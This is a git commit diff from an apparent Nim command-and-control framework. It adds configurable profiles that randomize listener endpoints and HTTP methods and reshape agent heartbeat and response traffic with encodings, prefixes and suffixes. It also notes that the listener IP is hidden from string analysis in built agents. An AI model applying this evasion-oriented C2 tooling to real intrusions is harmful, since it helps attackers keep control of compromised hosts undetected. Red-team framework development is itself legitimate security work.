Added profile system to agent communication. Randomized URL endpoints/request methods and dynamic data transformation based on C2 profile. Profile is defined as compile-time string for now.
This commit is contained in:
@@ -19,9 +19,8 @@ proc httpGet*(ctx: Context) {.async.} =
|
||||
# Check heartbeat metadata placement
|
||||
var heartbeat: seq[byte]
|
||||
var heartbeatString: string
|
||||
let heartbeatPlacement = cq.profile.getString("http-get.agent.heartbeat.placement.type")
|
||||
|
||||
case heartbeatPlacement:
|
||||
case cq.profile.getString("http-get.agent.heartbeat.placement.type"):
|
||||
of "header":
|
||||
let heartbeatHeader = cq.profile.getString("http-get.agent.heartbeat.placement.name")
|
||||
if not ctx.request.hasHeader(heartbeatHeader):
|
||||
@@ -39,14 +38,12 @@ proc httpGet*(ctx: Context) {.async.} =
|
||||
else: discard
|
||||
|
||||
# Retrieve and apply data transformation to get raw heartbeat packet
|
||||
let
|
||||
encoding = cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none")
|
||||
prefix = cq.profile.getString("http-get.agent.heartbeat.prefix")
|
||||
suffix = cq.profile.getString("http-get.agent.heartbeat.suffix")
|
||||
let prefix = cq.profile.getString("http-get.agent.heartbeat.prefix")
|
||||
let suffix = cq.profile.getString("http-get.agent.heartbeat.suffix")
|
||||
|
||||
let encHeartbeat = heartbeatString[len(prefix) ..^ len(suffix) + 1]
|
||||
|
||||
case encoding:
|
||||
case cq.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none"):
|
||||
of "base64":
|
||||
heartbeat = string.toBytes(decode(encHeartbeat))
|
||||
of "none":
|
||||
@@ -70,18 +67,17 @@ proc httpGet*(ctx: Context) {.async.} =
|
||||
|
||||
# Apply data transformation to the response
|
||||
var response: string
|
||||
let
|
||||
encoding = cq.profile.getString("http-get.server.output.encoding.type", default = "none")
|
||||
prefix = cq.profile.getString("http-get.server.output.prefix")
|
||||
suffix = cq.profile.getString("http-get.server.output.suffix")
|
||||
|
||||
case encoding:
|
||||
case cq.profile.getString("http-get.server.output.encoding.type", default = "none"):
|
||||
of "none":
|
||||
response = Bytes.toString(responseBytes)
|
||||
of "base64":
|
||||
response = encode(responseBytes, safe = cq.profile.getBool("http-get.server.output.encoding.url-safe"))
|
||||
else: discard
|
||||
|
||||
let prefix = cq.profile.getString("http-get.server.output.prefix")
|
||||
let suffix = cq.profile.getString("http-get.server.output.suffix")
|
||||
|
||||
# Add headers, as defined in the team server profile
|
||||
for header, value in cq.profile.getTable("http-get.server.headers"):
|
||||
ctx.response.setHeader(header, value.getStr())
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import terminal, strformat, strutils, tables, times, system, osproc, streams, base64
|
||||
import terminal, strformat, strutils, tables, times, system, osproc, streams, base64, parsetoml
|
||||
|
||||
import ./task
|
||||
import ../utils
|
||||
@@ -135,13 +135,14 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
|
||||
let listener = cq.listeners[listener.toUpperAscii]
|
||||
|
||||
# Create/overwrite nim.cfg file to set agent configuration
|
||||
let agentConfigFile = fmt"../src/agent/nim.cfg"
|
||||
let AgentCtxFile = fmt"../src/agent/nim.cfg"
|
||||
|
||||
# Parse IP Address and store as compile-time integer to hide hardcoded-strings in binary from `strings` command
|
||||
let (first, second, third, fourth) = parseOctets(listener.address)
|
||||
|
||||
# Covert the servers's public X25519 key to as base64 string
|
||||
let publicKey = encode(cq.keyPair.publicKey)
|
||||
let profileString = encode(cq.profile.toTomlString())
|
||||
|
||||
# The following shows the format of the agent configuration file that defines compile-time variables
|
||||
let config = fmt"""
|
||||
@@ -154,8 +155,9 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
|
||||
-d:ListenerPort={listener.port}
|
||||
-d:SleepDelay={sleep}
|
||||
-d:ServerPublicKey="{publicKey}"
|
||||
-d:ProfileString="{profileString}"
|
||||
""".replace(" ", "")
|
||||
writeFile(agentConfigFile, config)
|
||||
writeFile(AgentCtxFile, config)
|
||||
|
||||
cq.writeLine(fgBlack, styleBright, "[*] ", resetStyle, "Configuration file created.")
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@ import sugar
|
||||
import ../utils
|
||||
import ../api/routes
|
||||
import ../db/database
|
||||
import ../../common/[types, utils]
|
||||
import ../../common/[types, utils, profile]
|
||||
|
||||
# Utility functions
|
||||
proc delListener(cq: Conquest, listenerName: string) =
|
||||
@@ -60,13 +60,21 @@ proc listenerStart*(cq: Conquest, host: string, portStr: string) =
|
||||
|
||||
# Define API endpoints based on C2 profile
|
||||
# GET requests
|
||||
for endpoint in cq.profile["http-get"]["endpoints"].getElems():
|
||||
listener.get(endpoint.getStr(), routes.httpGet)
|
||||
for endpoint in cq.profile.getArray("http-get.endpoints"):
|
||||
listener.addRoute(endpoint.getStr(), routes.httpGet)
|
||||
|
||||
# POST requests
|
||||
for endpoint in cq.profile["http-post"]["endpoints"].getElems():
|
||||
listener.post(endpoint.getStr(), routes.httpPost)
|
||||
|
||||
var postMethods: seq[HttpMethod]
|
||||
for reqMethod in cq.profile.getArray("http-post.request-methods"):
|
||||
postMethods.add(parseEnum[HttpMethod](reqMethod.getStr()))
|
||||
|
||||
# Default method is POST
|
||||
if postMethods.len == 0:
|
||||
postMethods = @[HttpPost]
|
||||
|
||||
for endpoint in cq.profile.getArray("http-post.endpoints"):
|
||||
listener.addRoute(endpoint.getStr(), routes.httpPost, postMethods)
|
||||
|
||||
listener.registerErrorHandler(Http404, routes.error404)
|
||||
|
||||
# Store listener in database
|
||||
@@ -104,12 +112,20 @@ proc restartListeners*(cq: Conquest) =
|
||||
# Define API endpoints based on C2 profile
|
||||
# TODO: Store endpoints for already running listeners is DB (comma-separated) and use those values for restarts
|
||||
# GET requests
|
||||
for endpoint in cq.profile["http-get"]["endpoints"].getElems():
|
||||
for endpoint in cq.profile.getArray("http-get.endpoints"):
|
||||
listener.get(endpoint.getStr(), routes.httpGet)
|
||||
|
||||
# POST requests
|
||||
for endpoint in cq.profile["http-post"]["endpoints"].getElems():
|
||||
listener.post(endpoint.getStr(), routes.httpPost)
|
||||
var postMethods: seq[HttpMethod]
|
||||
for reqMethod in cq.profile.getArray("http-post.request-methods"):
|
||||
postMethods.add(parseEnum[HttpMethod](reqMethod.getStr()))
|
||||
|
||||
# Default method is POST
|
||||
if postMethods.len == 0:
|
||||
postMethods = @[HttpPost]
|
||||
|
||||
for endpoint in cq.profile.getArray("http-post.endpoints"):
|
||||
listener.addRoute(endpoint.getStr(), routes.httpPost, postMethods)
|
||||
|
||||
listener.registerErrorHandler(Http404, routes.error404)
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@ import strutils, strformat, times, system, tables
|
||||
import ./[agent, listener]
|
||||
import ../[globals, utils]
|
||||
import ../db/database
|
||||
import ../../common/[types, utils, crypto]
|
||||
import ../../common/[types, utils, crypto, profile]
|
||||
|
||||
#[
|
||||
Argument parsing
|
||||
@@ -135,8 +135,8 @@ proc init*(T: type Conquest, profile: Profile): Conquest =
|
||||
cq.agents = initTable[string, Agent]()
|
||||
cq.interactAgent = nil
|
||||
|
||||
cq.keyPair = loadKeyPair(profile["private_key_file"].getStr())
|
||||
cq.dbPath = profile["database_file"].getStr()
|
||||
cq.keyPair = loadKeyPair(profile.getString("private_key_file"))
|
||||
cq.dbPath = profile.getString("database_file")
|
||||
cq.profile = profile
|
||||
|
||||
return cq
|
||||
|
||||
Reference in New Issue
Block a user